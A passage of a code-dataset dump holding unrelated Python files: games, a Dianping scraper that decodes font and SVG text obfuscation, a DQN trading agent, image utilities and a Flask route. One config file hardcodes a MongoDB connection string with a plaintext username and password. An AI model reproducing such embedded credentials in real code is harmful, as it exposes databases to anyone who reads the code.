return(a)\n\ndef DrawPictures(path, p, win, gamemode):\n img1 = Image(p, ReadPicturesNames(path, gamemode))\n img1.draw(win)\n \ndef DrawText(p, win, num_list, clicked_card):\n txt1 = Text(p, num_list[clicked_card - 1])\n txt1.setSize(24)\n txt1.setStyle('bold')\n txt1.draw(win)\n\n return(txt1)\n \n\ndef ScoreBoard(win, move, key, mouse):\n move_txt = Text(Point(45, 160), \"Moves: \")\n move_txt.setStyle('bold')\n move_txt.draw(win)\n \n move_txt1 = Text(Point(80, 160), str(move))\n move_txt1.setStyle('bold')\n move_txt1.draw(win)\n \n key_txt = Text(Point(40, 180), \"Key: \" + str(key))\n key_txt.setStyle('bold')\n key_txt.draw(win)\n \n mouse_txt = Text(Point(105, 200), \"Mouse Clicked: \" + str(mouse.x) + \",\" + str(mouse.y))\n mouse_txt.setStyle('bold')\n mouse_txt.draw(win)\n \n return(move_txt, key_txt, mouse_txt, move_txt1)\n \ndef GameBoard(win, username, gamemode, difficult):\n txt1 = Text(Point(80, 40), str(username))\n txt1.setSize(30 - len(username))\n txt1.setStyle('bold')\n txt1.draw(win)\n \n card_point = []\n card_point1 = []\n card_point2 = []\n \n if(difficult == 32):\n plac = 50\n else:\n if(difficult == 24):\n plac = 100\n else:\n plac = 150\n \n for j in range(int(difficult/8)):\n for i in range(8):\n x = 225 + ((i + 1) * 60)\n y = plac + (j * 100)\n p = Point(x, y)\n DrawPictures(-1, p, win, gamemode)\n p1 = Point(x + 25, y + 40)\n p2 = Point(x - 25, y - 40)\n card_point.append(p)\n card_point1.append(p1)\n card_point2.append(p2)\n return(card_point, card_point1, card_point2) \n\ndef DecideWhichCard(x, y, card_point1, card_point2 , difficult):\n for i in range(difficult):\n if(x < card_point1[i].x and x > card_point2[i].x and y < card_point1[i].y and y > card_point2[i].y):\n return(i + 1)\n return(-1)\n\ndef HasItBeenClickedBefore(clicked_card, exposed):\n if(exposed[clicked_card - 1] == False):\n return(False)\n else:\n return(True)\n \ndef CheckMacthes(c1, c2, num_list):\n if(num_list[c1] == num_list[c2]):\n return(True)\n else:\n return(False)\n\n\ndef Reuslt(win, gametime, username, difficult):\n if(difficult == 32):\n rank = [i.rstrip('\\n') for i in open(\"playersScores_hard.txt\", \"r\")]\n t = \"Hard\"\n else:\n if (difficult == 24):\n rank = [i.rstrip('\\n') for i in open(\"playersScores_normal.txt\", \"r\")]\n t = \"Normal\"\n else:\n rank = [i.rstrip('\\n') for i in open(\"playersScores.txt\", \"r\")]\n t = \"Easy\"\n \n ranking_txt = Text(Point(400, 30), \"Rankings Of \" + str(t) + \" Mode\")\n ranking_txt.setSize(20)\n ranking_txt.setStyle('bold')\n ranking_txt.draw(win)\n\n current = Text(Point(120, 200), str(t) + \" Mode\\n\" + \"Player Time: \" + str(round(gametime,3)) + \"s\")\n current.setSize(14)\n current.setStyle('bold')\n current.draw(win)\n \n line = Line(Point(0, 50), Point(801, 50))\n line.draw(win)\n line.setWidth(2)\n \n \n rankings = sorted(rank) \n t = 0\n \n while(t < len(rankings) and t < 10):\n txt1 = Text(Point(500, 80 + (t * 30)), \"Rank \" + str(t + 1) + \": \" + str(rankings[t]))\n txt1.setSize(14)\n txt1.draw(win)\n t += 1\n\ndef InsertInsideTheTopPlayer(username, gametime, move, difficult):\n if(difficult == 32):\n rank_file = open(\"playersScores_hard.txt \", \"a+\") \n else:\n if (difficult == 24):\n rank_file = open(\"playersScores_normal.txt \", \"a+\")\n else:\n rank_file = open(\"playersScores.txt \", \"a+\")\n\n rank_file.write(str(round(gametime,3)) + \"s Name: \" + str(username) + \" Moves: \" + str(move) + \"\\n\") \n \n rank_file.close()\n \n\ndef Main():\n user_point = Point(200, 200)\n counter = 0\n card = []\n \n win = GraphWin(\"Memories Card Game\", 800, 400) \n\n if(OsCheck() == False):\n txt1 = Text(Point(400, 210), \"Sorry This Game Only Works For Windows User.\")\n txt1.setSize(24)\n txt1.setTextColor('red')\n txt1.draw(win) \n win.getMouse()\n win.close()\n exit()\n\n Welcome(win)\n gamemode = GameModePick(win)\n num_list, exposed, difficult = Difficult(win)\n username, move, key, starttime = Init(win)\n move_txt, key_txt, mouse_txt, move_txt1 = ScoreBoard(win, move, key, user_point)\n card_point, card_point1, card_point2 = GameBoard(win, username, gamemode, difficult)\n \n msg = Text(Point(100, 300), \"\")\n msg.setSize(18)\n msg.setStyle('bold')\n msg.draw(win)\n \n while(key < int(difficult/2)):\n if(counter < 2): \n move_txt.undraw()\n key_txt.undraw()\n mouse_txt.undraw() \n move_txt1.undraw()\n \n move_txt, key_txt, mouse_txt, move_txt1 = ScoreBoard(win, move, key, user_point)\n \n user_point = win.getMouse()\n\n msg.undraw()\n \n clicked_card = DecideWhichCard(user_point.x, user_point.y, card_point1, card_point2, difficult)\n \n if(clicked_card > 0):\n if(HasItBeenClickedBefore(clicked_card, exposed) == False):\n counter += 1\n card.append(clicked_card - 1)\n DrawPictures(2, card_point[clicked_card - 1], win, gamemode)\n if(gamemode == 1):\n txt1 = DrawText(card_point[clicked_card - 1], win, num_list, clicked_card)\n else:\n DrawPictures(num_list[clicked_card - 1], card_point[clicked_card - 1], win, gamemode)\n exposed[clicked_card - 1] = True\n else:\n msg.setText(\"Bad Choices!\\n Pick Another One!\")\n msg.setTextColor('red')\n msg.draw(win) \n\n else:\n check = CheckMacthes(card[0], card[1], num_list)\n if(check == True):\n key += 1\n move += 1\n oo = [\"Great!\", \"Nice!\", \"Cool!\", \"Awesome!\"]\n msg.setText(oo[randint(0, 3)])\n msg.setTextColor('black')\n msg.draw(win)\n \n else:\n sleep(1)\n exposed[card[0]] = False\n exposed[card[1]] = False\n DrawPictures(-1, card_point[card[0]], win, gamemode)\n DrawPictures(-1, card_point[card[1]], win, gamemode)\n oo = [\"Sorry!\", \"Try Again!\"]\n msg.setText(oo[randint(0, 1)])\n msg.setTextColor('black')\n msg.draw(win) \n move += 1\n card = []\n counter = 0 \n \n background = Image(Point(randint(-200, 1000), randint(-200, 600)), 'bg.png')\n background.draw(win)\n \n endtime = time()\n gametime = endtime - starttime\n rank_file = InsertInsideTheTopPlayer(username, gametime, move, difficult)\n Reuslt(win, gametime, username, difficult)\n \n \n win.getMouse()\n win.close()\n\n\nMain()\n","repo_name":"chunhei37/MemoryCardGame","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11597,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"25357724043","text":"import json\nimport logging\nimport re\n\nimport requests\nfrom fontTools.ttLib import TTFont\n\nfrom dianping.css_unpack.css_unpacker import CSSUnpacker\nfrom dianping.svg_unpacker.svg_abi_unpacker import SVGAbiUnpacker\nfrom dianping.svg_unpacker.svg_itd_unpacker import SVGItdUnpacker\nfrom dianping.svg_unpacker.svg_lkr_unpacker import SVGLkrUnpacker\nfrom dianping.font_unpacker.font_unpacker import FontUnpacker\n\nlogger = logging.getLogger(__name__)\nlogger.addHandler(logging.NullHandler())\n\n\nclass CSSManager:\n\n def __init__(self):\n self.unpackers = {}\n self.svgs = {}\n self.fonts = {}\n self.base_font = None\n self.base_font_mapping = {}\n self._load_base_font()\n\n self.abi_pattern = re.compile(r'')\n\n def get_css_unpacker(self, url) -> CSSUnpacker:\n if url not in self.unpackers:\n css_url = f'http:{url}'\n response = requests.get(css_url)\n\n unpacker = CSSUnpacker(self)\n unpacker.set_content(response.content.decode('utf-8'))\n\n self.unpackers[url] = unpacker\n\n return self.unpackers[url]\n\n def get_svg(self, type_: str, url: str):\n if url not in self.svgs:\n svg_url = f'http:{url}'\n response = requests.get(svg_url)\n content = response.content.decode('utf-8')\n unpacker = self.get_unpacker(content)\n if unpacker:\n svg_unpacker = unpacker(type_, content)\n self.svgs[url] = svg_unpacker\n\n return self.svgs.get(url, None)\n\n def get_font_unpacker(self, url):\n if url not in self.unpackers:\n woff_url = f'http:{url}'\n response = requests.get(woff_url)\n unpacker = FontUnpacker(self.base_font, self.base_font_mapping, response.content)\n self.unpackers[url] = unpacker\n\n return self.unpackers[url]\n\n def _load_base_font(self):\n font_file_path = './examples/basefont.woff'\n self.base_font = TTFont(font_file_path)\n font_mapping_file_path = './examples/basefont.json'\n with open(font_mapping_file_path, 'r') as mapping_file:\n self.base_font_mapping = json.load(mapping_file)\n\n def get_unpacker(self, content: str):\n if self.abi_pattern.findall(content):\n return SVGAbiUnpacker\n elif self.itd_pattern.findall(content):\n return SVGItdUnpacker\n elif self.lkr_pattern.findall(content):\n return SVGLkrUnpacker\n else:\n return None\n","repo_name":"johzhao/scrapy_dianping","sub_path":"dianping/css_unpack/css_manager.py","file_name":"css_manager.py","file_ext":"py","file_size_in_byte":2662,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"40796064437","text":"\"\"\"\nDynapSim Network getters. Either process the configuration object or a specification dictionary to restore a network.\nThe resulting network has two layers by default. \nThe first layer `nn.modules.LinearJax` contains the input weights (optional, only if input weights present)\nThe second layer `devices.dynapse.DynapSim` combines all the other layers.\n\"\"\"\n\nfrom rockpool.utilities.backend_management import (\n backend_available,\n missing_backend_shim,\n)\n\nif backend_available(\"jax\"):\n from .from_config import dynapsim_net_from_config\n from .from_spec import dynapsim_net_from_spec\nelse:\n dynapsim_net_from_config = missing_backend_shim(\"dynapsim_net_from_config\", \"jax\")\n dynapsim_net_from_spec = missing_backend_shim(\"dynapsim_net_from_spec\", \"jax\")\n","repo_name":"synsense/rockpool","sub_path":"rockpool/devices/dynapse/dynapsim_net/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"3"} +{"seq_id":"4563426935","text":"import math\nclass Triangle:\n def __init__(self, x1, y1, x2, y2, x3, y3):\n self.c1 = math.sqrt((x1-x2)**2 + (y1-y2)**2)\n self.c2 = math.sqrt((x1-x3)**2 + (y1-y3)**2)\n self.c3 = math.sqrt((x2-x3)**2 + (y2-y3)**2)\n\n def check(self):\n c1 = self.c1\n c2 = self.c2\n c3 = self.c3\n if(c1+c2<=c3 or c1+c3<=c2 or c2+c3<=c1):\n return False\n return True\n \n def output(self):\n c1 = self.c1\n c2 = self.c2\n c3 = self.c3\n if(self.check()):\n # d = math.sqrt((a + b + c) * (a + b - c) * (a - b + c) * (-a + b + c)) / 4\n # print('{:.2f}'.format(d))\n dt = math.sqrt((c1+c2+c3)*(c1+c2-c3)*(c1-c2+c3)*(-c1+c2+c3))/4\n print('{:.2f}'.format(dt))\n else:\n print('INVALID')\n\na = []\nt1 = int(input())\nfor t in range(t1):\n x = [float(val) for val in input().split()]\n a += x \n\ni = 0\nfor t in range(t1):\n tam_giac = Triangle(a[i], a[i+1], a[i+2], a[i+3], a[i+4], a[i+5])\n tam_giac.output()\n i += 6\n\n\n\n","repo_name":"naruto-2002/PYTHON","sub_path":"doi_tuong/lop_triangle-2.py","file_name":"lop_triangle-2.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"73113263760","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\n\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Activation, Flatten, PReLU\nfrom tensorflow.keras.optimizers import Adam\nfrom tensorflow.python.client import device_lib\nfrom keras.callbacks import ModelCheckpoint # this happened to work instead of tf.keras, still waiting for support #https://github.com/keras-team/keras/issues/13258\n\nimport numpy as np\nimport os\nfrom typing import List\n\nfrom rl.agents.dqn import DQNAgent\nfrom rl.memory import SequentialMemory\nfrom rl.policy import LinearAnnealedPolicy, EpsGreedyQPolicy\n\nfrom environment import DirectReinforcement\n\n\ndef init_dqn(env: DirectReinforcement) -> str:\n tf.keras.backend.clear_session()\n tf.random.set_seed(env.SEED)\n\n model = deep_q_network(env)\n memory = SequentialMemory(limit=env.mem_size, window_length=env.window_length)\n policy = LinearAnnealedPolicy(\n EpsGreedyQPolicy(), \n attr='eps',\n value_max=1.0, \n value_min=0.1, \n value_test=0.05, \n nb_steps=env.explore_steps\n )\n nb_actions = env.action_space.n # set up number of actions (outputs)\n dqn = DQNAgent(\n model=model, \n gamma=env.gamma, \n nb_actions=nb_actions, \n memory=memory,\n batch_size=env.batch_size, \n nb_steps_warmup=1000,\n target_model_update=env.tar_mod_up, \n policy=policy, \n delta_clip=env.delta_clip\n )\n\n dqn.compile(\n Adam(lr=env.learning_rate, decay=env.learning_rate_decay), \n metrics=['mse']\n )\n\n if env.TRAIN_W_VALIDATION:\n train_w_validation(env, dqn)\n else:\n train(env, dqn)\n\n backtest_filepath = test(env, dqn)\n\n return backtest_filepath\n\ndef get_available_cpus() -> List:\n local_device_protos = device_lib.list_local_devices()\n return [x.name for x in local_device_protos if x.device_type in ['CPU', 'XLA_CPU']]\n\ndef deep_q_network(env: DirectReinforcement) -> Sequential:\n model = Sequential()\n model.add(Flatten(input_shape=(env.window_length,) + env.observation_space.shape))\n model.add(Dense(env.nodes))\n model.add(PReLU())\n model.add(Dense(env.nodes * 2))\n model.add(PReLU())\n model.add(Dense(env.nodes * 4))\n model.add(PReLU())\n model.add(Dense(env.nodes * 2))\n model.add(PReLU())\n model.add(Dense(env.action_space.n))\n model.add(Activation('linear'))\n\n print('Deep Q Network:')\n print(model.summary())\n \n model_json = model.to_json()\n\n if not os.path.exists(env.folder):\n os.mkdir(env.folder)\n with open(env.folder + '/model.json', \"w\") as json_file:\n json_file.write(model_json)\n\n return model\n\ndef train(env: DirectReinforcement, dqn) -> None:\n cpu_devices = get_available_cpus()\n with tf.device(cpu_devices[1]):\n dqn.fit(\n env, \n nb_steps=env.epochs*env.steps, \n nb_max_episode_steps=env.steps, \n visualize=False, \n verbose=2\n )\n dqn.save_weights(env.folder + '/weights_epoch_{}.h5f'.format(env.epochs), overwrite=True)\n\n env._plot_actions()\n env._calculate_pnl(env_name=env.env_name)\n env._calculate_roc()\n np.save(env.folder + '/memory.npy', env.memory)\n env._plot_train_rewards()\n with open(env.folder + '/train_rewards.out', \"w\") as text_file:\n text_file.write(str(env.rewards))\n\ndef train_w_validation(env, dqn):\n filepath = env.folder + '/validate/epochs/'\n if not os.path.exists(filepath):\n os.makedirs(filepath)\n\n checkpointer = ModelCheckpoint(\n filepath=filepath + 'weights.{epoch:02d}.hdf5', \n monitor='val_loss', \n verbose=1,\n save_best_only=False, \n save_weights_only=True, \n mode='auto', \n period=1\n )\n\n cpu_devices = get_available_cpus()\n with tf.device(cpu_devices[1]):\n dqn.fit(\n env, \n nb_steps=env.epochs*env.steps, \n nb_max_episode_steps=env.steps,\n visualize=False, \n verbose=2, \n callbacks=[checkpointer]\n )\n\n env._plot_actions() # plot last epochs training actions\n env._calculate_pnl(env_name=env.env_name) \n np.save(env.folder + '/memory.npy', env.memory)\n env._plot_train_rewards()\n env.validation = True\n\n best_epoch = \"\"\n best_reward = -1000000\n count_ep = 0\n\n # iterate through each epoch to find the one with the highest reward\n for weights_file in os.listdir(filepath):\n\n if weights_file.endswith(\".hdf5\"):\n count_ep += 1\n print(str(count_ep) + \": Loading: \" + weights_file)\n dqn.load_weights(filepath + weights_file)\n\n env.rewards = []\n env.pnls = []\n env.val_starts_index = 0\n dqn.test(env, nb_episodes=env.val_epochs, nb_max_episode_steps=env.val_steps, visualize=False)\n\n epoch_rewards = np.sum(env.rewards) / float(env.val_epochs)\n if epoch_rewards > best_reward:\n best_epoch = weights_file\n best_reward = epoch_rewards\n print(\"BEST EPOCH: \" + best_epoch + \" with: \" + str(best_reward))\n\n path = filepath + best_epoch\n new_path = env.folder + '/' + best_epoch\n os.rename(path, new_path)\n print(\"Loading: \" + new_path)\n dqn.load_weights(new_path)\n\n env.validation = False\n\ndef test(env: DirectReinforcement, dqn: DQNAgent) -> str:\n cpu_devices = get_available_cpus()\n with tf.device(cpu_devices[1]):\n env.testing = True\n for x in range(env.test_epochs):\n dqn.test(\n env, \n nb_episodes=1, \n nb_max_episode_steps=env.test_steps, \n visualize=False\n )\n\n if not os.path.exists(env.test_folder + '/memory_' + str(env.test_starts_index) + '.npy'):\n np.save(env.test_folder + '/memory_' + str(env.test_starts_index) + '.npy', env.memory)\n \n env._plot_actions()\n env._calculate_roc()\n backtest_filepath = env._calculate_pnl(env_name=env.env_name)\n\n describe_stats(env, env.test_steps)\n return backtest_filepath\n\ndef describe_stats(env: DirectReinforcement, steps: int) -> None:\n longs = len(env.long_actions)\n shorts = len(env.short_actions)\n neutrals = steps - longs - shorts\n print(\"STATS: Long: \", longs , \" Short: \", shorts , \" Neutral: \", neutrals, \" out of \", steps)\n","repo_name":"luvl/unified-trading-framework","sub_path":"models/dqn.py","file_name":"dqn.py","file_ext":"py","file_size_in_byte":6660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19580023676","text":"from pymongo import MongoClient\r\n\r\ntry:\r\n client = MongoClient(\"mongodb+srv://movie:movie@cluster0.m6gra.mongodb.net/db_movie?retryWrites=true&w=majority\")\r\n client.server_info()\r\nexcept:\r\n print(\"connection error\")\r\n\r\nprint(\"loading...\")\r\n\r\ndb = client[\"db_movie\"]\r\ncol = db[\"tmdb_ds\"]\r\n\r\n# TITLE\r\nt = col.find({},{'title': 1})\r\ntitle = []\r\nfor data in t:\r\n\ttitle.append(data['title'])\r\n\r\n# KEYWORDS\r\nk = col.find({},{'keywords': 1})\r\nkeywords = []\r\nfor data in k:\r\n\tkeywords.append(data['keywords'])\r\n\r\n# DIRECTOR\r\nd = col.find({},{'director': 1})\r\ndirector = []\r\nfor data in d:\r\n\tdirector.append(data['director'])\r\n\r\n# GENRE\r\ng = col.find({},{'genre': 1})\r\ngenre = []\r\nfor data in g:\r\n\tgenre.append(data['genre'])\r\n\r\n# VOTE_AVERAGE\r\nva = col.find({},{'vote_average': 1})\r\nvote_average = []\r\nfor data in va:\r\n\tvote_average.append(data['vote_average'])\r\n\r\n# VOTE_COUNT\r\nvc = col.find({},{'vote_count': 1})\r\nvote_count = []\r\nfor data in vc:\r\n\tvote_count.append(data['vote_count'])\r\n\r\n# CAST\r\nc = col.find({},{'cast': 1})\r\ncast = []\r\nfor data in c:\r\n\tcast.append(data['cast'])\r\n\r\n# WEIGHTED AVERAGE\r\nwa = col.find({},{'weighted_average' : 1})\r\nweighted_average = []\r\nfor data in wa:\r\n\tweighted_average.append(data['weighted_average'])\r\n\r\n# INDEX\r\ni = col.find({}, {'index' : 1})\r\nindex = []\r\nfor data in i:\r\n\tindex.append(data['index'])\r\n\r\n# OVERVIEW\r\nov = col.find({}, {'overview' : 1})\r\noverview = []\r\nfor data in ov:\r\n\toverview.append(data['overview'])\r\n\r\nprint(\"*** Connected Successfully to MongoDB Cluster ***\")\r\n","repo_name":"froster02/movies-recommendation-system","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"28329603836","text":"import numpy as np\nimport pandas as pd\nimport os\n\n\ndef find_max_state_speed(day, csv_filename):\n \"\"\"找到每个车的状态最大值\"\"\"\n path = r\"E:/state\"\n path_listdir = root_path_listdir(path)\n max_state = 0\n max_speed = 0\n max_sub = None\n for sub_filename in path_listdir[0:day]:\n csv_path = os.path.join(path, sub_filename, csv_filename)\n csv_data = pd.read_csv(csv_path)\n max_temp_state = max(csv_data['state'])\n max_temp_speed = max(csv_data['ostate'])\n if max_state < max_temp_state:\n max_state = max_temp_state\n max_sub = sub_filename\n if max_speed < max_temp_speed:\n max_speed = max_temp_speed\n print(max_sub)\n return max_state, max_speed\n\n\ndef root_path_listdir(path):\n r_path = path\n root_listdir = os.listdir(r_path)\n root_listdir = list(map(int, root_listdir))\n root_listdir.sort()\n root_listdir = list(map(str, root_listdir))\n return root_listdir\n\n\ndef all_data():\n day = 20\n csv_lists = ['00002.csv', '00004.csv', '00005.csv', '00006.csv', '00007.csv', '00009.csv', '00010.csv']\n for name in csv_lists:\n result = find_max_state_speed(day, name)\n print(name + \":\" + \"maxstate:\" + str(result[0]) + \" \" + \"maxostate:\" + str(result[1]))\n\n\nif __name__ == '__main__':\n all_data()\n","repo_name":"czg25/experiment","sub_path":"analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30754878170","text":"'''\r\nThe function simulates the reverse() list method.\r\nIf we, for example, have a list list1 = ['0', '1', '2', '3'],\r\nthe function will duplicate the first half of the list \r\nand reassign the values in two halves as follows:\r\nlist1[0] = list1[3] \r\nlist1[1] = list1[2] \r\n# And then it switches to the duplicated list.\r\nlist1[2] = list2[1] \r\nlist1[3] = list2[0] \r\n \r\n'''\r\ndef reverse(list1):\r\n # Duplication\r\n list2 = list1[:round(len(list1) / 2)]\r\n # Reassingation\r\n for i in range(0, len(list1)):\r\n if i < len(list1) / 2:\r\n list1[i] = list1[len(list1) - 1 - i]\r\n elif i != len(list1) / 2:\r\n list1[i] = list2[len(list1) - 1 - i]\r\n\r\n \r\n \r\n''' \r\nThe upper program can also achieve the results only by\r\nduplicating the original list and reassigning all values.\r\n'''\r\ndef reverse2(list1):\r\n# list2 = list1\r\n list2 = list1[:]\r\n for i in range(0, len(list1)):\r\n list1[i] = list2[len(list1) - 1 - i]\r\n \r\nli = [0, 1, 2, 3, 4, 5, 6]\r\nreverse(li)\r\nprint('Using reverse(): ' + str(li))\r\nreverse(li)\r\nreverse2(li)\r\nprint('Using reverse2(): ' + str(li))\r\n\r\n\r\n\r\n'''\r\nMisunderstanding accured at line 28, where I thought the statement\r\ncreated a new object, not just a referation to the same one.\r\n'''\r\n","repo_name":"OP4LIFE/Python","sub_path":"Lists/reverse().py","file_name":"reverse().py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5841349021","text":"from tensorflow import keras\nfrom sklearn.model_selection import train_test_split\nfrom PIL import Image\nfrom numpy import asarray\nimport numpy as np\nimport cv2\nimport os\n\n\ndef test_sample(x):\n height, width = 120, 160\n output = \"sample.mp4\"\n # Define the codec and create VideoWriter object\n fourcc = cv2.VideoWriter_fourcc(*'mp4v') # Be sure to use lower case\n out = cv2.VideoWriter(output, fourcc, 20.0, (width, height))\n for frame in x_test[x]:\n out.write(frame)\n out.release()\n\n prediction = model.predict(np.reshape(x_train[x], (1,8,120,160,3)).astype(\"float32\"))\n\n title = f\"The predicted speed is {prediction[0][0]} mph\"\n # Create a VideoCapture object and read from input file\n cv2.namedWindow(title, cv2.WINDOW_NORMAL)\n cv2.resizeWindow(title, 400, 300)\n cap = cv2.VideoCapture('sample.mp4')\n\n # Check if camera opened successfully\n if not cap.isOpened():\n print(\"Error opening video file\")\n\n # Read until video is completed\n while cap.isOpened():\n\n # Capture frame-by-frame\n ret, frame = cap.read()\n if ret:\n\n # Display the resulting frame\n cv2.imshow(title, frame)\n\n # Press Q on keyboard to exit\n if cv2.waitKey(50) & 0xFF == ord('q'):\n break\n\n # Break the loop\n else:\n cap = cv2.VideoCapture('sample.mp4')\n\n # When everything done, release\n # the video capture object\n cap.release()\n\n # Closes all the frames\n cv2.destroyAllWindows()\n\n\n# Data prep\n\n# This is how many images to check each time\nwindow_size = 8\n\nlabels = []\nwith open(\"train.txt\") as f:\n for line in f:\n labels.append(line)\n for i in range(len(labels)):\n labels[i] = float(labels[i][:-2])\n\ndata = []\nfolder = \"Some_images\"\nfor i in range(len(os.listdir(folder))):\n filename = \"frame\" + str(i) + \".jpg\"\n print(filename)\n data.append(asarray(Image.open(os.path.join(os.getcwd(),folder,filename))))\n\ncombined_data = []\nfor i in range(\n len(data) - window_size): # Looping through all but the last window_size images to combine into one array\n combined_data.append(data[i:i + window_size])\n\n# This removes the first bunch of labels because we use the last image of the window to determine speed\nlabels = asarray(labels[window_size:len(combined_data) + window_size])\nprint(len(combined_data), len(labels))\n# Split the data\nrm = 42\nx_train, x_test, y_train, y_test = train_test_split(combined_data, labels, test_size=0.2, shuffle=False,\n random_state=rm)\n\nmodelNum = \"4\"\nmodel = keras.models.load_model(\"model\" + modelNum + \".keras\")\nprint(model.summary())\n\nif __name__ == \"__main__\":\n sample = int(input(\"Enter a sample to test: \"))\n while sample != -1:\n test_sample(sample)\n sample = int(input(\"Enter a sample to test: \"))","repo_name":"willdunklin/deep-learning-project","sub_path":"Model_Testing.py","file_name":"Model_Testing.py","file_ext":"py","file_size_in_byte":2895,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"42977407034","text":"# 영상이나 이미지를 대칭시켜 띄울 수 있습니다. 상하 또는 좌우방향으로 대칭할 수 있습니다.\n\nimport cv2\n\n# src 선언, 이미지를 불러움.\nsrc = cv2.imread(\"Image/glass.jpg\", cv2.IMREAD_COLOR) \n\n# cv2.flip(원본 이미지, 대칭 방법) - 대칭방법: 0 or 1\n# 0: 상하, 1: 좌우 \n# 결과 이미지로 사용할 dst를 선언하고 대칭 함수를 적용\ndst = cv2.flip(src, 0) \n\n# 이미지를 출력\ncv2.imshow(\"src\", src)\ncv2.imshow(\"dst\", dst)\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n\n\n# 대칭 방법 중 상수를 0보다 낮은 값을 입력할 경우, 상하 대칭으로 간주합니다.\n# 대칭 방법 중 상수를 1보다 높은 값을 입력할 경우, 좌우 대칭으로 간주합니다.\n\n","repo_name":"kinfolklives/Learn_CV","sub_path":"openCV_flip_symmetry.py","file_name":"openCV_flip_symmetry.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19264782583","text":"def check_constraints(constraints, image_dim, window_axes):\n \"\"\"Checks different window expansion constraints such as\n is it possible to expand from left or not and other too\n\n Parameters\n ----------\n constraints : tuple\n left, right, up, down window expansion constraints\n image_dim : tuple\n input image dimension (x, y) or (width, height)\n window_axes : tuple\n window axes (x1, x2, y1, y2) to check constraints\n\n Returns\n -------\n tuple\n Boolean values for constraints\n \"\"\"\n # checks the movement of axes possible or not\n move_left, move_right, move_up, move_down = constraints\n x, y = image_dim\n x1, x2, y1, y2 = window_axes\n if x1<=0: move_left = False\n if x2>=x: move_right = False\n if y1<=0: move_up = False\n if y2>=y: move_down = False\n\n return (move_left, move_right, move_up, move_down)\n\n# ********************\n# * ^ ^ *\n# * y1 | *\n# * | | *\n# * ***** | *\n# * * * y2 *\n# *<--x1-->* * | *\n# * ***** - *\n# *<---------x2----->*\n# * *\n# * *\n# ********************\n\ndef crop(image, center, aspect_ratio, expansion_value=5):\n \"\"\"This function takes the image and crops it with desired aspect ratio\n\n Parameters\n ----------\n image : numpy array\n image array\n center : tuple\n h, k for center of window expansion\n aspect_ratio : float\n aspect ratio for window\n expansion_value : int, optional\n rate of window expansion, by default 5\n\n Returns\n -------\n numpy array\n cropped image array\n \"\"\"\n h, k = center # center coordinates of face\n y, x = image.shape[:-1] # dimension of image\n\n dx = int(expansion_value) # expansion of window size from x-axis in pixel\n dy = int(dx/aspect_ratio) # expansion of window size from y-axis maintaining aspect aspect_ratio\n\n x1, x2, y1, y2 = h, h, k, k # placing center of expansion at center of image and moving outward\n x1_, x2_, y1_, y2_ = h, h, k, k\n\n move_left, move_right, move_up, move_down = True, True, True, True #\n\n while True:\n # expands window from every sides\n if move_left and move_right and move_up and move_down:\n x1_ = x1-dx//2\n x2_ = x2+dx//2\n y1_ = y1-dy//2\n y2_ = y2+dy//2\n\n # expands windw from every sides except left or right\n elif not move_left or not move_right:\n if move_right:\n x1_ = x1\n x2_ = x2+dx\n\n if move_left:\n x1_ = x1-dx\n x2_ = x2\n\n if not move_up:\n y1_ = y1\n y2_ = y2+dy\n\n elif not move_down:\n y1_ = y1-dy\n y2_ = y2\n else:\n y1_ = y1-dy//2\n y2_ = y2+dy//2\n\n # expands windw from every sides except up or down\n elif (not move_up or not move_down) and move_left and move_right:\n x1_ = x1-dx//2\n x2_ = x2+dx//2\n if not move_up:\n y1_ = y1\n y2_ = y2+dy\n elif not move_down:\n y1_ = y1-dy\n y2_ = y2\n\n # checking the constraints after expansion\n move_left, move_right, move_up, move_down = check_constraints(\n (move_left, move_right, move_up, move_down),\n (x, y),\n (x1_, x2_, y1_, y2_)\n )\n\n # checking the terminating conditions\n if (not move_left and not move_right) or (not move_up and not move_down):\n break\n\n # checking the valid expansion and taking valid window\n if x1_>=0 and x2_<=x and y1_>=0 and y2_<=y:\n x1, x2, y1, y2 = x1_, x2_, y1_, y2_\n\n cropped_image = image[y1:y2, x1:x2, :] # cropping the window sized image\n\n return cropped_image","repo_name":"connectwithprakash/Cropping-Algorithm","sub_path":"window_method.py","file_name":"window_method.py","file_ext":"py","file_size_in_byte":3936,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"9034193406","text":"from app import app, ALLOWED_EXTENSIONS\nfrom flask import render_template, request, flash, url_for, redirect, session\nfrom app.forms.client_forms import client_form\nfrom app.models.cliente_model import ClienteModel\nfrom app.models.usuario_model import UsuarioModel\nfrom app.static.validadores.back_validadores import Validadores\n\n\ndef allowed_file(filename):\n return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n\n@app.route('/cadastrar_cliente', methods=[\"GET\", \"POST\"])\ndef cadastrar_cliente():\n user_id = session['user_id']\n user_name = session['nome']\n db = UsuarioModel()\n result = db.get_users()\n form = 